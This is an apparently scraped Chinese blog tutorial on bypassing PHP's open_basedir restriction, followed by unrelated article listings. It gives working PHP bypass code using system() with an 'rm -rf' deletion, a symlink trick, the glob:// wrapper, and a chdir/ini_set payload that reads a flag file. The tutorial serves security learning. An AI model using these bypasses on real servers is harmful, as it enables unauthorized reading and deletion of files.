原理
关于open_basedir
    open_basedir是php.ini中的一个配置选项
    它可将用户访问文件的活动范围限制在指定的区域,
    假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
    注意用open_basedir指定的限制实际上是前缀,而不是目录名。
    举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
补充:
    ①如果php.ini配置项前有分号,表明php.ini中没有该设置。那就很可能是在  php-fpm  中的 fastcgi.conf中配置了。php-fpm中的配置会覆盖php.ini的配置。
    ②在php.ini或者fastcgi.cong中设置,都是针对所有项目。如果想要对单独项目进行设置的话,在项目根目录中通过  .user.ini 进行配置。
    .user.ini配置
    首先,要使.user.ini生效,要设置php.ini 中的
        user_ini.filename = ".user.ini"
        user_ini.cache_ttl = 300
    注释掉 fastcgi.conf 中的 open_basedir  的配置。
    在项目根目录 创建 .user.ini文件,写入如下内容
         open_basedir=/tmp/:/proc/:/you_web_path
    重启一下php-fpm 服务即可。
关于符号链接
    符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。
    路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

0x01 绕过方式1system命令执行函数
由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。
我们首先创建一个目录
    /home/puret/test/
且在该目录下新建一个1.txt 内容为abc
    nano 1.txt
再在该目录下创建一个目录命名为b
    mkdir b
并且在该目录下创建一个1.php文件内容为
    <?php
      echo file_get_contents("../1.txt");
    ?>
且在php.ini中设置好我们的open_basedir
    open_basedir = /home/puret/test/b/
我们尝试执行1.php看看open_basedir是否会限制我们的访问
执行效果如图
很明显我们无法直接读取open_basedir所规定以外的目录文件。
接下来我们用system函数尝试绕open_basedir的限制来删除1.txt
编辑1.php为
    <?php
     system("rm -rf ../1.txt");
    ?>
先来看看执行1.php之前的文件情况
执行1.php之后
成功通过命令执行函数绕过open_basedir来删除文件。
由于命令执行函数一般都会被限制在disable_function当中,所以我们需要寻找其他的途径来绕过限制。

0x02 绕过方式2symlink()函数
我们先来了解一下symlink函数
    bool symlink ( string $target , string $link )
symlink函数将建立一个指向target的名为link的符号链接,当然一般情况下这个target是受限于open_basedir的。
由于早期的symlink不支持windows,我的测试环境就放在Linux下了。
测试的PHP版本是5.3.0,其他的版本大家自测吧。
在Linux环境下我们可以通过symlink完成一些逻辑上的绕过导致可以跨目录操作文件。
我们首先在/var/www/html/1.php中 编辑1.php的内容为
    <?php
      mkdir("c");   //创建目录
      chdir("c");     //改变目录
      mkdir("d");
      chdir("d");
      chdir("..");  
      chdir("..");
      symlink("c/d","tmplink");
      symlink("tmplink/../../1.txt","exploit");
      unlink("tmplink");
      mkdir("tmplink");
      echo file_put_contents("http://127.0.0.1/exploit");
    ?>
接着在/var/www/中新建一个1.txt文件内容为
    "abc"
再来设置一下我们的open_basedir
    open_basedir = /var/www/html/
在html目录下编辑一个php脚本检验一下open_basedir
    <?php
       file_get_contents("../1.txt");
    ?>
执行看下。
意料之中,文件无法访问。
我们执行刚才写好的脚本,1.php
可以看到成功读取到了1.txt的文件内容,逃脱了open_basedir的限制
问题的关键就在于
    symlink("tmplink/../../1.txt","exploit");
此时tmplink还是一个符号链接文件,它指向的路径是c/d,因此exploit指向的路径就变成了
    c/d/../../1.txt
由于这个路径在open_basedir的范围之内所以exploit成功建立了。
之后我们删除tmplink符号链接文件再新建一个同名为tmplink的文件夹,这时exploit所指向的路径为
    tmplink/../../
由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/
然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容
当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

0x03 绕过方式3glob伪协议
glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test
并且在/var/www/html/下新建t.php内容为
    <?php
      $a = "glob:///var/www/test/*.txt";
      if ( $b = opendir($a) ) {
        while ( ($file = readdir($b)) !== false ) {
          echo "filename:".$file."\n";
        }
        closedir($b);
      }
    ?>
执行结果如图:
成功躲过open_basedir的限制读取到了文件。

0x04 绕过方式4根据源码逻辑
博客https://xz.aliyun.com/t/4720
Payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

php绕过open_basedir设置的更多相关文章

  1. 绕过open_basedir读文件脚本

    绕过open_basedir读文件脚本 2016年11月13日 01:28:21 阅读数:1221 参加了一场2016年的sycsec感觉又学到不少东西 废话不多说,首先啥是open_basedir? ...

  2. php5全版本绕过open_basedir读文件脚本

    这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说 ...

  3. php-fpm(绕过open_basedir,结合ssrf)

    环境的安装->https://www.cnblogs.com/zaqzzz/p/11870489.html 1.nginx的畸形访问 因为安装的是php7.0,所以需要手动修改一下(版本低的时候 ...

  4. Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx

    Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...

  5. Open_basedir绕过

    Open_basedir绕过 一.基础知识 open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/wwwr ...

  6. [转+自]关于PHP7的新特性(涉及取反和disabled_functions绕过)

    PHP7和PHP5上的安全区别 preg_replace()不再支持/e修饰符 利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述: 如果设置了这个被弃用的修饰符, preg_repl ...

  7. PHP 配置文件中open_basedir选项作用

    如下是php.ini中的原文说明以及默认配置: ; open_basedir, if set, limits all file operations to the defined directory  ...

  8. PHP libxml RSHUTDOWN安全限制绕过漏洞(CVE-2012-1171)

    漏洞版本: PHP PHP 5.5.x 漏洞描述: BUGTRAQ ID: 65673 CVE(CAN) ID: CVE-2012-1171 PHP是一种HTML内嵌式的语言. PHP 5.x版本内的 ...

  9. require(): open_basedir restriction in effect. 解决方法

    在linux服务器部署thinkphp5的时候PHP报了这个错误, 如下: Warning: require(): open_basedir restriction in effect. File(/ ...

随机推荐

  1. JVM类的加载顺序

    前阵子看到阿里巴巴的一提面试题是关于java类的加载顺序 package com.mikey.demo.Test; class FatherVariable{ static { System.out. ...

  2. 附:Struts2-CRM,拦截器实现权限访问

    拦截器代码: package mycrm.interceptor; import org.apache.struts2.ServletActionContext; import com.opensym ...

  3. MFC TreeControl简单应用

    目录 1. TreeControl添加节点 2. TreeControl菜单 3. TreeControl修改节点 4. TreeControl查找节点 5. TreeControl折叠展开节点 6. ...

  4. Android Dialog弹框提示

    public void showUpdateDialog(String content) { //普通的AlertDialog对话框 AlertDialog.Builder builder = new ...

  5. Periodic-table

    1. Periodic table 1.1 元素的排列 1.2 表中的行与列 1.3 元素区块 1.4 周期表中的一些趋势 1.5 元素周期律的本质 1.6 电子排布 2. 更多相关链接 2.1 维基 ...

  6. HIHOcoder编程总结

    [Offer收割]编程练习赛44 对于第一题题目1 : 扫雷游戏,首先要想清楚思路,虽然是暴力算法,但是这八个方向要自己把坐标写正确,不要慌乱,自己写的时候就写错了一个,第二个就是判断的时候,j + ...

  7. Law of large numbers and Central limit theorem

    大数定律 Law of large numbers (LLN) 虽然名字是 Law,但其实是严格证明过的 Theorem weak law of large number (Khinchin's la ...

  8. Py2与Py3的区别

    总结Py2 与Py3 的区别 1 编码区别 在Python2中有两种字符串类型str和Unicode. 默认ASCII python2 str类型,相当于python3中的bytes类型 python ...

  9. JuJu Beta Postmortem

    JuJu demo demo 项目github地址 JuJu   设想和目标 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? 完成基于Julia语言的NER mod ...

  10. Linux系统chmod命令的含义和权限详解

    许多喜欢使用chmod命令的用户,对chmod命令的含义和权限仍然不是很清楚,因此在使用的时候对它们造成了一定的麻烦.为了解决这些用户的迷惑,今天小编就和大家一起分享下chmod命令的含义和权限. 对 ...